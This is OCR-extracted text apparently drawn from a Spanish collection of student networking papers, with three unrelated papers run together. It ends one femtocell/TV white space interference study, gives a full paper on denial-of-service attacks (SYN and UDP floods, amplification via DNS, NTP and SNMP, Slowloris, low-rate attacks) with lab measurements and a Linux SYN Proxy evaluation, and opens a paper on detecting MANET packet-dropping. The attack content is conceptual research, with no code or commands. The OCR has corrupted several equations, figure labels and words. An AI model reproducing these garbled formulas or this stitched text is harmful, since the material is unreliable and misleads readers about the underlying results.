Magnitude), que impone un limite suave en el valor de SINR
obtenido [7]. EI EVM constituye una de las figuras de mérito
mas aceptadas para evaluar la calidad de un sistema de
comunicaciones. En términos simples, hace alusion a cémo
de lejos estan los simbolos de la constelacién recibidos de la
constelacion ideal que hubiera sido enviada por un transmisor
ideal. EVM se define como un porcentaje del nivel maximo
de SINR y se calcula como:

SINR = 20bg, EVM /100) (3)

Como resultado de ésto, la SINR viene limitada por el EVM:

1 1 1
SINR,, SINR_ SINR

ideal

(4)

Un aspecto importante a sefialar, debido a la inherente
deficiencia de los sistemas de RF, es que las mejoras
potenciales de SINR no se pueden conseguir completamente.
Esto se debe a que, como se ha comentado, existen limites
que vienen impuestos por las no idealidades, de los sistemas
de trasmision y recepcion.

En la fig. 4 podemos ver un ejemplo de SINR obtenida tras
aplicar EVM para todo punto del escenario para dos
femtoceldas de las existentes en el escenario.

2. Modelo de propagacion en interiores para TVWS

En esta seccion se presenta un modelo desarrollado por
Gabriel P. Villardi, que permite la estimacion rapida y
precisa de la interferencia potencial entre dispositivos
vecinos que operan sobre los TVWS para realizar
simulaciones por ordenador [4].

SINR(IB) tras apbcar EVM

SINR(dB) tras apicar EVM

e | o
S

posicitn en el gje ¥ (metros)
posicitn en el gje ¥ (metros)

588588438

g
=l

20 [ ] &0 ) 2 @ 50 & 1w 2
posicion en el eje X (metro) posicién en el eje X (metros)

3

Fig. 4: SINR tras aplicar EVM para todo punto del escenario desde la femtocelda.

El modelo totalmente generalizado teniendo en cuenta la
situacion en que se encuentran tanto en los puntos de acceso
interiores como efectos de sombras, independientemente de
la zona suburbana especifica, viene dado por:

P =10bg P +10bg G + 100y G + 20bg h + 20bg h ~4336kg d-A-28C  (5)

Donde:

— B es el valor medio de la atenuacion de casa o edifico.
Segln numerosas mediciones realizadas en [5], se
establecen valores de 5 de 17,7 dB para edificios
comerciales (estructura de hormigén con refuerzo de
acero) y de 5,4 dB para casas suburbanas (casa de madera
estandar con revestimiento de papel y revestimiento de
ladrillos en el exterior).

— C es una variable aleatoria gaussiana que tiene en cuenta
los efectos de shadowing en el receptor en interiores. En
[5] se establecen valores para ¢ de 9,3 dB y de 6,4 dB,
para edificios comerciales y para residencia suburbana,
respectivamente.

— Py P representan el nivel de la sefial recibida en dB y
d es la distancia entre el transmisor y el receptor en
metros.

— A es el factor de atenuacién suburbana. En [5] se
establece un valor de 19.26 dB para este factor. Cabe
sefialar que nuestro objetivo es modelar la interferencia
entre los puntos de acceso de radio portatil que operan en
los TVWS, por lo que estamos interesados en la PIRE.

VI. RESULTADOS

A modo de ejemplo se van a comentar los resultados obtenidos una
topologia en la que existe una red de femtoceldas constituida
por cinco operadores diferentes, se van a mostrar los
resultados obtenidos para un escenario en grid en el que
existen 5 operadores diferentes con 6 femtoceldas cada uno
de ellos.

En las figuras 4 y 5 se muestran, respectivamente, la CDF de
la SINR y la CDF del throughput, para una de las 50
simulaciones realizas.

Los resultados obtenidos al aplicar las negociaciones de tipo
1, 3 y 5 son muy similares entre si. De modo que la calidad
de servicio media recibida en los apartamentos, al aplicar
estos tipos de negociacidon, serd muy similar.

Por otro lado, la diferencia entre el 5 percentil y 95 percentil,
es mayor para la negociacion de tipo 1 que para las
negociaciones de tipo 3 y 5. Se obtienen valores muy
préximos para casos en los que existen 3 canales disponibles
y aumentando la diferencia hasta el 35% para casos en el que
existen 7 canales disponibles. Este efecto es mayor que para
la topologia en la que existen 3 operadores. Esto implica que
en las negociaciones de tipo 1 y 5, la calidad de servicio
prestada a todos los usuarios del escenario es muy similar.
No obstante, los resultados obtenidos con la negociacion de
tipo 3 son buenos, puesto que el peor de los casos (3 canales
disponibles) tan s6lo el 5% de los usuarios dispondran de un
throughput inferior a 43,32 Mbps y una SINR inferior a
21,65. Estos valores se corresponden con los obtenidos en las
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zZonas mas cercanas a
apartamentos.
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Figura 4: CDF de la SINR para la topologia 1, en funcién del nimero de canales
disponibles en el escenario.
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Figura 5: CDF del Throughput para la topologia 1, en funcién del nimero de canales
disponibles en el escenario.

VII. CONCLUSIONES

La motivacién e importancia del presente proyecto se basa en
gue se consigue una solucién positiva tanto para operadores
como para usuarios a la hora de tratar la escasez de espectro.
Desde el punto de vista de los operadores, éstos consiguen
reducir la cantidad de tréfico en las macro y micro celdas,
mejorando la calidad de los servicios en zonas de exterior.
Logrando por tanto abrir un nuevo mercado del que pueden
surgir numerosas aplicaciones, relacionadas con la necesidad
de introducir nuevos tipos de dispositivos a este fin. Desde el
punto de vista de los usuarios finales, se consigue mejorar su
experiencia de usuario al disponer de cobertura movil propia
en el hogar o en la oficina. Cabe destacar que la introduccién
de los sistemas femtocelda no pretende acabar con las redes
tradicionales basadas en celdas de gran tamafio, sino que el
objetivo es la convivencia de ambas tecnologias a fin de
buscar el beneficio global, mejorando los servicios ofrecidos
dentro de los edificios a la vez que aumenta la calidad de
éstos en la calle.
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Resumen— En el presente trabajo se lleva a cabo un estudio
del impacto que un ataque de denegacion de servicio tiene sobre
un conjunto de servicios telematicos convencionales, en un
entorno controlado, desde el punto de vista de los clientes
legitimos de dichos servicios. M&s concretamente, se evalla el
impacto de los ataques TCP SYN Flood y UDP Flood sobre un
servicio web, un servicio de transferencia de ficheros y un
servicio de streaming de video. Asimismo, se presenta una vision
en profundidad de los ataques de denegacion de servicio mas
relevantes en la actualidad. Finalmente, se evalGa la efectividad
de la funcionalidad de SYN Proxy implementada para el kernel
de Linux como mecanismo de defensa contra el ataque TCP SYN
Flood.

Palabras clave—Ataques, DoS, DDoS, seguridad, redes.

I. INTRODUCCION

En los dltimos afios los ataques a sistemas informéticos han

aumentado su complejidad y escala de forma exponencial
debido a que los delitos informaticos son cada vez mas
lucrativos. En este contexto, una de las amenazas mas
relevantes y que mas retos ha presentado —y presenta— a las
redes de comunicacion son los ataques de denegacion de
servicio (DoS, Denial of Service); y mas concretamente su
variedad distribuida (DDoS, Distributed DoS), los cuales han
aumentado en cuestion de unos pocos afios su potencia hasta
tasas de cientos de Gigabits por segundo, con motivo del uso
de las llamadas botnets y de malware cada vez maés
sofisticado.

A lo largo de los afios han sido propuestas y desarrolladas
una gran cantidad de soluciones al problema de la deteccién y
la mitigacion de distintos ataques DoS. Sin embargo, lejos de
tener una solucion definitiva, existen varios motivos que
dificultan la tarea del desarrollo de defensas efectivas contra
esta amenaza. Por un lado esta la enorme variedad de tipos de
ataque que hacen uso de trafico muy diverso y similar al
trafico legitimo. Por otro lado, el incremento del nimero de
dispositivos conectados a Internet ha proporcionado a los
atacantes una via facil para reclutar un enorme ndmero de
agentes o bots desde donde lanzar ataques cada vez mas
potentes.

Este tipo de ataques supone una amenaza constante para
muchas organizaciones, ya que en una sociedad como la

actual, en la que gran parte de los ingresos de las empresas
dependen de los servicios ofrecidos en Internet, la
interrupcién o la simple degradacion de la calidad del
servicio puede no solo privar a la empresa de ingresos, sino
también mermar la confianza de los clientes.

Il. DoSY DDoS

Un ataque DoS ordinario consiste basicamente en el envio
masivo de trafico aparentemente legitimo por parte de un
atacante a una red o servidor objetivo (victima) con el fin de
que el enorme volumen de datos exceda la capacidad de
procesamiento u otros recursos de la victima, impidiéndole a
esta prestar el servicio, total o parcialmente, a los clientes
legitimos.

Por otra parte, un ataque DDoS es una variedad del ataque
DoS en el que el atacante no es solo una maquina, sino un
gran nimero de ellas, por lo que el volumen de trafico y, por
consiguiente, el dafio causado son significativamente
mayores. En este caso el ataque es lanzado de forma indirecta
a través de una serie de maquinas comprometidas, las cuales
envian flujos de datos a la victima con el fin de colapsar sus
recursos.

La Fig. 1.a muestra un escenario de un ataque DoS en el
que, tal y como se ha definido, el origen del trafico malicioso
es una Unica entidad. Por otro lado, la Fig. 1.b muestra un
escenario de un ataque DDoS en el que son varios los
equipos involucrados en el atague y, por lo tanto, el volumen
de trafico malicioso generado es significativamente mayor.

Para llevar a cabo el ataque DDoS, el atacante ha tenido
que implantar previamente su cédigo malicioso en una serie
de maquinas comprometidas, las cuales pueden organizarse
en varios niveles (conocidos como masters y slaves) [1] de
forma que el atacante no interacciona en ningin momento
con la victima, sino que este lanza el ataque a través del
envio de instrucciones (coordinacién del ataque) a dichas
maquinas, los cuales llevan a cabo el ataque en si contra la
victima, sin ni siquiera tener conocimiento de que estan
formando parte de un ataque DDoS.

Estas maquinas comprometidas suelen recibir el nombre de
agentes o bots, y se organizan en redes conocidas como
botnets, las cuales se utilizan para realizar todo tipo de
acciones maliciosas en Internet: desde el lanzamiento de
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Fig. 1. (a) Escenario de un ataque DoS. (b) Escenario de un ataque DDoS
en el que un atacante controla a tres agentes.

ataques DDoS hasta la suplantacién de identidad, el envio de
spam o la realizacién de todo tipo de fraudes.

Existen dos métodos basicos para llevar a cabo un ataque
de denegacién de servicio: la explotacion de una
vulnerabilidad descubierta en un protocolo o aplicacion de la
victima o el envio de un flujo masivo de paquetes de
apariencia legitima con el fin de colapsar los recursos de esta.
El primer tipo se conoce como ataque de vulnerabilidad,
mientras que el segundo se conoce como ataque de
inundacion (flooding).

Por otra parte, si se atiende a la tasa del ataque, estos
pueden ser clasificados en ataques de fuerza bruta o ataques
de baja tasa (low rate). Estos Gltimos buscan degradar o
denegar completamente un servicio con la minima tasa de
trafico posible, eludiendo a la vez a los posibles sistemas de
deteccidn de la victima.

A continuacion se describen algunos de los ataques DoS
mas relevantes. [1]

A. TCP SYN Flood

En la actualidad, la inmensa mayoria de los sistemas de red
estan basados en el protocolo de transporte TCP y, por lo
tanto, son susceptibles a sufrir este tipo de ataque.

TCP es un protocolo orientado a conexién y, como tal,
requiere una fase de establecimiento de conexion. Esta fase
consiste en una negociacién de tres pasos que, cOmo se
esquematiza en la Fig. 2.a, inicia el cliente enviando un
paquete TCP con el flag SYN activado. Tras recibir esta

peticion de establecimiento de conexidn, el servidor responde
con un SYN-ACK vy reserva los recursos para esta conexién,
creando lo que se conoce como una conexién semi-abierta.
Finalmente, para confirmar el establecimiento de la conexién
el cliente debe responder con un ACK.

El atague TCP SYN Flood se basa en aprovechar esta
reserva de recursos producida en el servidor enviando una
gran cantidad de paquetes SYN, los cuales son paquetes a
priori legitimos y por lo tanto muy dificiles de detectar como
maliciosos.

Normalmente, estas peticiones de conexion utilizan
direcciones IP origen falsificadas (lo que se conoce como IP
spoofing) por lo que, como se muestra en la Fig. 2.b, los
SYN-ACK del servidor se “perderan”, permaneciendo el
servidor a la espera de recibir el ACK que complete la
negociacion, habiendo reservado los recursos para esa
conexion.

Este ataque agota rapidamente los recursos del servidor, el
cual no puede aceptar mas conexiones entrantes.

Otros ataques DoS basados en el protocolo TCP son los
ataques de inundacién SYN-ACK Flood, ACK Flood vy el
conocido como TCP Reset.

B. Naptha

Una variante de TCP SYN Flood es el conocido como
Naptha. En este caso, el atacante completara la negociacion
de tres pasos, establecerd un gran nimero de conexiones con
la victima e intentard mantenerlas el mayor tiempo posible,
respondiendo a los mensajes keep-alive. [2]

Con esto el atacante pretende impedir que se puedan llevar
a cabo nuevas conexiones con el servidor de la victima.

C. UDP Flood

El atacante inunda a la victima con datagramas UDP a
puertos aleatorios con el objetivo principal de consumir su
ancho de banda. Para conseguir esto, los paquetes enviados
suelen ser de gran tamafio.

Para llevar a cabo este ataque, el atacante no requiere
ninguna informacién de la victima, aunque si necesita un
nimero adecuado de bots para asegurar el éxito del ataque.

D. ICMP Flood

Es un ataque muy simple basado en el envio masivo de
paquetes ICMP Echo Request (ping) a la victima con el
objetivo de colapsar su ancho de banda, provocando ademas
el envio de paquetes ICMP Echo Reply, consumiendo gran
parte de los recursos del servidor.

Otros ataques conocidos basados en el protocolo ICMP son
Smurf y el ya obsoleto Ping of death.

Servidor

Servidor  Atacante

Cliente

Fig. 2. Establecimiento de conexién TCP: (a) normal y (b) en un ataque
TCP SYN Flood.
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E. Ataque de amplificacion DNS

Se trata de un ataque de reflexion en el que el atacante
envia peticiones DNS Request (sobre UDP) a uno o varios
servidores de nombre realizando spoofing de forma que la IP
origen de las peticiones coincida con la IP de la victima. Asi,
como se muestra en la Fig. 3, el servidor DNS responderé a la
victima con paquetes UDP de un tamafio significativamente
mayor que el de las peticiones, multiplicando la escala del
ataque y consumiendo un gran ancho de banda de la victima.

A partir de una peticion DNS de aproximadamente 60
bytes, es posible obtener unas respuestas de unos 4.000 bytes,
esto es, un factor de amplificacion x65.

Por este motivo, este ataque entra dentro de una categoria
Ilamada ataques de amplificacion, los cuales son uno de los
mecanismos mas utilizados para lanzar ataques a gran escala
en Internet y han sido utilizados en algunos de los ataques
DDoS que mas volumen de tréafico han implicado.

Si bien este ataque es el de amplificacién por excelencia, en
los dltimos tiempos han surgido nuevos ataques basados en
otros protocolos cuyo funcionamiento es similar al de
amplificacion DNS, entre los que destacan los basados en los
protocolos NTP (Network Time Protocol) y SNMP (Simple
Network Management Protocol).

NTP es un protocolo que opera sobre UDP y cuya finalidad
es sincronizar la hora entre cliente y servidor. Este protocolo
dispone de un comando llamado monlist, el cual hace que el
servidor devuelva las direcciones de los ultimos hosts con los
que ha interactuado y, por lo tanto, la respuesta es
significativamente mayor que la peticion, consiguiendo una
amplificacion de aproximadamente x206 en el ancho de
banda y una tasa de ataque 10 veces mayor. [3]

Por otra parte, una peticion getBulkRequest del protocolo de
gestion de redes SNMP de unos 87 bytes puede generar
respuestas de decenas de Kbytes fragmentadas en varios
datagramas UDP.

La principal ventaja de estos ataques es que el atacante
puede prescindir de utilizar un gran nimero de equipos para
realizar el ataque.
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Fig. 3. Esquema del funcionamiento de un ataque de amplificacién DNS.
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F. HTTP Flood

La mayoria de los ataques DoS se llevan a cabo contra
servidores web, y es por ello que muchos de estos ataques
utilizan el protocolo HTTP para saturar los recursos de la
victima.

El ataque HTTP Flood se suele basar en el envio masivo de
peticiones HTTP (ya sea de tipo GET, PUT, POST, o
cualquier otro método) con el fin de consumir recursos
computacionales y de red en la victima.

Una variante de este ataque, conocida como Slowloris,
consiste en enviar peticiones HTTP incompletas, lo que
provoca un dafio alin mayor, ya que la victima esperara a que
se reciban las siguientes partes de la peticion, manteniendo la
conexion activa mucho mas tiempo.

Dentro de este grupo también se encuentra el ataque
conocido como CGI Request Attack, el cual consiste en
inundar a la victima con peticiones CGI con el fin de agotar
SuS recursos computacionales.

G. Teardrop

Este ataque explota una vulnerabilidad en el reensamblado
de paquetes a nivel de red. Consiste en inundar a la victima
con fragmentos IP invalidos, ya sea porque estén solapados o
porque su tamafio sea mayor que el especificado. [1]

A pesar de ser una vulnerabilidad conocida y reparada en
los sistemas operativos modernos, este tipo de ataques puede
causar comportamientos inesperados e incluso reinicios en
algunos equipos.

H. Ataques de baja tasa

Una de las variedades de los ataques DoS mas interesantes
son los conocidos como ataques de baja tasa (low rate). En
ellos el atacante no precisa enviar una tasa elevada de
paquetes a la victima, sino que aprovecha cierta informacién
para construir el ataque de forma inteligente, con el objetivo
de producir una degradacién o una denegacion total en el
servicio de la victima eludiendo posibles sistemas de
deteccion.

En esta categoria, el mas conocido es el ataque de baja tasa
contra el protocolo TCP [4], el cual estructura su
funcionamiento en torno a una vulnerabilidad presente en el
mecanismo de control de flujo del protocolo TCP. El objetivo
es enviar rafagas de paquetes maliciosamente separadas en el
tiempo con el fin de que la victima entre en zona de
congestion y reduzca su tasa efectiva a practicamente cero.

Por otra parte, en [5] se describe el ataque LoRDAS (Low-
Rate DoS Attack against Server). En él, el atacante busca
evitar la disponibilidad del servidor, haciendo que el tiempo
libre de las colas de servicio tienda a cero. Para ello, el
atacante debe ser capaz de predecir la aparicion de un espacio
libre e insertar en ella una nueva peticién suya. De este
modo, la probabilidad de que los clientes realicen una
conexion en ese breve espacio de tiempo es minima. El
atacante estard consiguiendo asi que el servidor Unicamente
sirva sus peticiones y lograra, como consecuencia de esto,
denegar el servicio a todos los demas clientes.

Otro ataque DoS de baja tasa mencionable es el conocido
como RoQ (Reduction of Quality). [6]
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I11. ENTORNO DE EVALUACION DEL IMPACTO DE ATAQUES
DoS

Una vez descritos los ataques de denegacion de servicio
mas relevantes se procede a estudiar el impacto que algunos
de estos tienen sobre una serie de servicios de red
convencionales desde el punto de vista de la calidad de
servicio (QoS) percibida por los clientes legitimos.

Para llevar a cabo este estudio se ha implantado una
topologia de red sencilla como la que se muestra en la Fig. 4.
Dicha red consta de cinco equipos, cada uno de ellos
implantado mediante una maquina virtual en VirtualBox,
utilizando el sistema operativo Ubuntu.

Ademas del router, los equipos involucrados son los
siguientes:

A. Servidor

Es la maquina que ofrece los servicios sobre los que se van
a desarrollar los ataques DoS.

Se tienen un total de tres escenarios de trabajo, y en cada
uno de ellos el servidor ofrece un servicio de red distinto,
cada uno de ellos con distintas caracteristicas. Estos servicios
son:

e Servicio web (HTTP)
e Servicio de transferencia de ficheros (FTP)
e Servicio de streaming de video en tiempo real (RTSP)

B. Atacantes

Es la maquina desde donde se lanzan los ataques DoS. Los
ataques que se llevan a cabo son dos de los vistos en el
apartado anterior:

e TCP SYN Flood
e UDP Flood

Con el estudio de estos ataques se pretende observar el
impacto de un ataque de vulnerabilidad como es el ataque
TCP SYN Flood, ya que la gran mayoria de los servicios de
red actuales son susceptibles a sufrir este ataque. Por otro
lado, mediante el estudio del ataqgue UDP Flood se busca
observar el impacto que tienen este y otros ataques basados
en el consumo de ancho de banda de red, como pueden ser
los ataques de amplificacion.

Los ataques se realizan a distintas tasas de paquetes por
segundo y hacen uso de IP spoofing.

C. Clientes

Se trata del equipo que simula a los clientes legitimos de los
servicios, es decir, quienes acceden a los servicios ofrecidos
por el servidor y quienes obtienen los distintos pardmetros de
QoS de interés.

D. Sumidero

Este equipo Unicamente se encarga de recibir las respuestas
del servidor a los paquetes procedentes del atacante y
descartarlos con el fin de evitar inundar la red con paquetes
ICMP Destination Unreachable que puedan distorsionar los
resultados.

Para observar la degradacién en las prestaciones de los
distintos servicios se han medido una serie de parametros de
interés en cada uno de los servicios.

En el caso del servicio web se ha obtenido el tiempo medio
transcurrido desde que se solicita una pagina web hasta que

-
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Atacantes

- =—=TEfico lagitimo

- - -"=Trifico malicioso

Sumidero

Fig. 4. Topologia de la red utilizada para el estudio del impacto de ataques
Dos.

esta es recibida completamente, pardmetro que denominamos
tiempo de respuesta.

Las prestaciones de un servicio de transferencia de ficheros
estan determinadas por el tiempo transcurrido desde que se
solicita establecer la conexion TCP con el servidor hasta que
el fichero se transfiere por completo. A este parametro lo
denominamos latencia de transferencia.

Finalmente, para observar las prestaciones del servicio de
streaming se han obtenido una serie de parametros de QoS
del stream tales como el porcentaje de paquetes perdidos, el
bit-rate medio y el tiempo entre paquetes.

IV. ANALISIS DE RESULTADOS

En las Fig. 5 y 6 se representan graficamente los resultados
obtenidos bajo los dos ataques DoS realizados para cada uno
de los tres servicios evaluados. En ella se representan los
distintos parametros de interés medidos en funcion de la tasa
del ataque realizado en paquetes por segundo (pps).

En el caso del ataque TCP SYN Flood (Fig. 5) se puede
observar que en los tres escenarios el servidor trabaja a un
rendimiento normal hasta unas tasas de ataque de entre 400 y
500 pps, mientras que la degradacion de las prestaciones de
los servicios empieza a ser importante a partir de una tasa de
ataque de aproximadamente 800-900 pps. Es decir, el
servidor se ve desbordado a partir de la recepcion de unas
800 peticiones de conexién TCP por segundo.

A partir de una tasa de ataque de entre 1.200 y 1.400 pps la
degradacion es tal que no se consigue establecer una
conexion con el servidor y, por lo tanto, no es posible obtener
los parametros deseados. En este punto se considera que se
produce una denegacion de servicio total.

Es importante mencionar que, tal y como era de esperar, la
degradacion de las prestaciones se produce a la hora de
establecer la conexion TCP con el servidor, es decir, los
clientes deben esperar mas tiempo para establecer esta
conexidn, transcurriendo el posterior intercambio de datos en
condiciones normales.
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Fig. 6. Evolucién de las prestaciones de los servicios (a) web, (b) transferencia de ficheros y (c) streaming de video en funcién de la tasa del ataque UDP

Flood.

Por otra parte, aunque los parametros de QoS utilizados
para evaluar las prestaciones del servicio de streaming se
obtienen después de que se establezca la conexién TCP, se
observa un incremento notable en el porcentaje de paquetes
perdidos del stream de video. Esto nos permite comprobar
que el ataque TCP SYN Flood esta consumiendo importantes
recursos del servidor.

Para finalizar con el analisis del impacto del ataque de TCP
SYN Flood hay que destacar el hecho de que para producir
una degradacion importante (e incluso una denegacion de
servicio total) no se ha requerido un gran consumo de ancho
banda. Como ejemplo de esto se puede mencionar que una
tasa de ataque de 900 pps (suficiente para atenuar
notablemente el rendimiento del servidor) se corresponde con
una tasa de 513 kbps; esto es, solo un 5% de la capacidad del
enlace del servidor.

Los ataques UDP Flood, cuyos resultados se muestran en la
Fig. 6, se han llevado a cabo en tasas que van desde 10 hasta
unos 820 pps, que se corresponde con una tasa de ataque de
10 Mbps; esto es, el equivalente a la capacidad del enlace
router<sservidor.

En este caso, la degradacion en las prestaciones del servicio
web se refleja en un incremento en el tiempo de respuesta,
aunque esta atenuacion en el rendimiento no es tan severa
como ocurria bajo el ataque TCP SYN Flood. Es cierto, no
obstante, que el tiempo de respuesta dependera del tamafio
de las paginas web solicitadas que, en este caso, no es
excesivamente grande.

Por el contrario, en el servicio de transferencia de ficheros
si que es méas notable la degradacion de las prestaciones, y
esto se refleja en un incremento en la latencia de
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transferencia.

En este caso, la subida y la descarga de ficheros presentan
latencias diferentes. Este comportamiento responde al hecho
de que el ataque consume ancho de banda en el enlace de
subida (router—servidor) y a su vez, las respuestas del
servidor consumen ancho de banda de bajada
(servidor—router). Concretamente, los resultados muestran
que la relacién entre la tasa de ataque y las respuestas del
servidor, esto es, la relacion entre el ancho de banda de
subida y el ancho de banda de bajada del enlace, es de
aproximadamente 2,3:1.

Esto Gltimo se refleja en que, para tasas de ataque
importantes, la latencia de transferencia en la subida sea
aproximadamente 2,3 veces mayor que en la descarga para
ficheros del mismo tamafio, ya que la capacidad disponible
del enlace es menor.

Como ejemplo se puede mencionar que frente a los 7
segundos de latencia de subida que se tiene en condiciones
normales, para un ataque cercano a los 10 Mbps, la latencia
se incrementa hasta los 168 segundos.

Finalmente, y como cabia esperar, el servicio streaming no
sufre una degradacion en la QoS ya que el video utilizado
requiere un bit-rate de unos 700 kbps, un ancho de banda que
en todo momento esta disponible en el enlace
servidor—router.

Es importante mencionar que los ataques se han realizado
hasta tasas nunca superiores a 10 Mbps. Si se superase este
valor, el router se veria obligado a encolar paquetes Y,
llegado a un punto, descartarlos si estos desbordan las colas,
Ilegandose a perder paquetes de los clientes legitimos y, por
tanto, produciendo una degradacién atin mayor.
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V. EVALUACION DE SYN PROXY

A pesar de los esfuerzos invertidos en la investigacion y el
desarrollo de defensas eficientes, los ataques DoS continlian
siendo un problema que esta lejos de tener una solucion
definitiva.

El objetivo principal de una defensa es proporcionar un
buen servicio a los clientes legitimos incluso durante el
ataque, de forma que estos no perciban una degradacién en
las prestaciones del servicio.

El objetivo secundario es mitigar el efecto del ataque en los
recursos de la victima, de forma que estos puedan ser
dedicados enteramente a los clientes legitimos.

En [1] el autor clasifica los mecanismos de defensa en
mecanismos de prevencién, deteccidn, respuesta y tolerancia
y mitigacion.

Especial atencion ha acaparado a lo largo de los afios la
propuesta de defensa ante el ataque TCP SYN Flood. Entre
los principales mecanismos que intentan solventar la
vulnerabilidad que permite la realizacion de estos ataques se
encuentran los conocidos como SYN Cache, SYN Cookies y
SYN Proxy. [7]

Las SYN Cookies llevan afios implementadas para Linux,
con escasa efectividad. Por otra parte, la funcionalidad de
SYN Proxy ha sido implementada recientemente, a partir de la
version 3.12 del kernel. Esta defensa consiste basicamente en
dividir la conexién cliente-servidor en dos conexiones:
cliente-proxy y proxy-servidor, de forma que el cliente solo
interactle con el servidor una vez se haya comprobado que se
trata de un cliente legitimo.

Naturalmente, sigue existiendo un agotamiento en los
recursos del proxy.

Lo que se ha hecho ha sido comparar el rendimiento de un
servidor web, por un lado sin ninguna defensa y por otro con
un SYN Proxy implementado segln se describe en [8] en un
S.0. Debian Wheezy.

Los resultados obtenidos se muestran en la Fig. 7. En ella se
puede apreciar que mediante la implementacion del proxy, el
namero de conexiones que puede manejar el servidor es algo
superior: mientras que sin defensa soporta unas 1.600
peticiones de conexion por segundo antes de que se produzca
una denegacion de servicio total, la defensa implementada
permite elevar este nimero hasta aproximadamente 2.500
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Fig. 7. Tiempo de respuesta HTTP en funcién de la tasa del ataque
TCP SYN Flood sin defensas implementadas y con SYN Proxy de
Linux.

paquetes SYN por segundo.

VI. CONCLUSIONES

Con la realizacién de este trabajo se ha pretendido estudiar
los ataques de denegacion de servicio en las redes
telematicas con el fin de poner de manifiesto la gravedad que
supone esta amenaza. Para ello se ha llevado a cabo un
estudio tedrico de los ataques DoS mas relevantes y se han
lanzado una serie de ataques en un entorno de maquinas
virtuales que nos han permitido observar el comportamiento
y la degradacién que sufren ciertos servicios telematicos
convencionales bajo estos ataques.

Finalmente se ha puesto a prueba la funcionalidad de SYN
Proxy de Linux para hacer frente los ataques TCP SYN Flood
y se ha comprobado que, aunque lejos de solucionar el
problema, permite hacer frente a unas tasas de ataque algo
mayores.
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Resumen—El presente proyecto implementa un mecanismo
propuesto en la bibliografia para la deteccion de compor-
tamientos maliciosos en nodos de una red MANET. El esquema
de deteccion se centra en los ataques de tipo dropping, una
forma concreta de los conocidos como ataques de denegacion
de servicio.

Se presentan dos implementaciones del un mecanismo de
deteccion de dichos ataques: un esquema de deteccion aislado
y otro distribuido. La base sobre la que se desarrolla todo el
trabajo es el simulador de eventos discretos OMNeT++, sobre
el se incorpora el simulador de redes INET y el framework de
seguridad en redes NETA.

Los resultados de las simulaciones finales corroboran que el
modelo distribuido de deteccion de ataques dropping permite
detectar comportamientos maliciosos en los nodos de la red
con una tasa aceptable de falsos positivos, mientras que el
sistema aislado permite corroborrar los fundamentos tedricos
del mecanismo propuesto.

Palabras clave—Ataque de dropping, IDS, MANET, OM-
NeT++

I. INTRODUCCION

A seguridad informética y de redes es un campo de

estudio de gran relevancia actualmente, en gran medida
debido al auge de las tecnologias digitales y a su inmersién
casi total en todos los aspectos de la sociedad actual. De
entre las distintas tecnologias, arquitecturas y aplicaciones
existentes en la actualidad, las redes ad hoc, y en particular
las redes MANET (Mobile Adhoc Network), son las que
presentan una mayor proyeccién de futuro. Un ejemplo de
red MANET se presenta en la Figura 1. En ella se observa un
conjunto de nodos con movilidad y cierto rango de cobertura,
que pueden comunicarse entre ellos de forma no centralizada
y basando su comunicaciéon en la retransmisién multi-salto
de informacién entre nodos. En esta figura se observa un
conjunto de nodos retransmisores (marcados como N) sobre
los que se sustenta la comunicacién entre emisor y receptor
(E y R respectivamente).

La deteccién de ataques a la seguridad en un sistema de
este tipo constituye un aspecto clave para la necesaria solucién
de los mismos y, con ello, permitir la continuidad de los
servicios y prestaciones del entorno. Con este objetivo central,
el presente documento presenta el desarrollo de un sistema de
deteccién de ataques dropping en redes MANET.

Las redes MANET son un tipo de redes formadas por
nodos moviles. Su naturaleza es ad hoc, de manera que no

hay gestion centralizada o infraestructura fija. En ellas, para
poder alcanzar la conectividad entre todos los nodos se ha de
adoptar una filosofia de routing adaptativo multi-salto. Los
nodos actiian como routers y precisamente en esto es en lo
que se basa este tipo de redes para el envio de informacion: en
la confianza en que el resto de nodos retransmitan el mensaje
hacia su destino. En relacién a este hecho surgen los ataques
de dropping.

El ataque de dropping en redes MANET consiste en la no
retransmision de paquetes por parte de un nodo malicioso,
impidiendo asi que lleguen a su destino ultimo. El nodo que
lleva a cabo este tipo de ataque es denominado dropper y se
presenta (marcado con la letra A) en la Figura 2. El descarte
de paquetes por parte del dropper puede ser total o selectivo,
dejando en este ultimo caso de retransmitir tinicamente paque-
tes con ciertas caracteristicas. Las principales motivaciones
de este comportamiento pueden ser propdsitos puramente
maliciosos o actitudes egoistas, cuyo fin es preservar recursos
energéticos.

II. HERRAMIENTAS

En el marco antes referido, este trabajo pretende implemen-
tar en un entorno de simulacién el mecanismo de deteccion
de droppers propuesto por Sanchez-Casado et al. [1]. Para
ello se propone utilizar uno de los simuladores de redes mas
aceptados y utilizados en los sectores académicos: OMNeT++
junto con el framework de simulacién de redes INET.

Fig. 1. Ejemplo de red MANET.
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Fig. 2. Ejemplo de red MANET con un nodo malicioso.

OMNeT++ [3] es un simulador de eventos discretos basado
en C++. Proporciona un motor de simulacién y un entorno
de trabajo basado en Eclipse. Separa ademds los contextos
de simulacién y disefio de sistemas, es decir, permite definir
los sistemas como clases de C++ y realizar simulaciones en
escenarios creados mediante lenguajes propios.

Dentro de OMNeT++ se encuentra INET a modo de
simulador de redes. El framework INET define practicamente
todos los aspectos de las redes de comunicacion actuales. En
él se encuentran definidas todas las capas de la pila OSI, desde
los niveles fiscos descritos por 802.11 hasta aplicaciones
UDP, pasando por la descripciéon de medios de transmision
(medios inaldmbricos, soportes cableados...), protocolos de
enrrutamiento o herramientas para dotar a los nodos de
movilidad.

Sobre INET, el grupo NESG (Network Engineering & Se-
curity Group) de la Universidad de Granada desarrolla NETA
(NETwork Attacks) [4], un framework para la simulacion de
ataques de red. En NETA se presentan nodos de red con
protocolos hackeados, de manera que estos nodos puedan
llevar a cabo ciertos ataques. Mds alld de ello, NETA propone
una arquitectura organizada donde poder desarrollar nuevos
ataques de red, es decir, unicamente redefiniendo el compor-
tamiento del protocolo que nos interese se podria implementar
un nuevo ataque y realizar simulaciones en entornos de red
para ejecutar dichos ataques.

Este desarrollo trata de completar la arquitecura de NETA,
facilitando el desarrollo posterior de detectores de ataques a la
seguridad de redes y demds soluciones defensivas que tienen
cabida dentro del concepto de supervivencia en redes [2].
Para ello se generard una arquitectura similar a la existente en
cuanto a ataques. Ademads, se implementan dos detectores de
eventos contra la seguridad de sistemas de red tipo MANET,
ambos relacionados con el ataque de dropping.

ITII. SEGURIDAD EN REDES MANET: dropping

Tal y como se introdujo, un ataque de dropping es una
forma de denegacién de servicio que sucede en una red de
comunicacién basada en retransmisiones entre nodos como
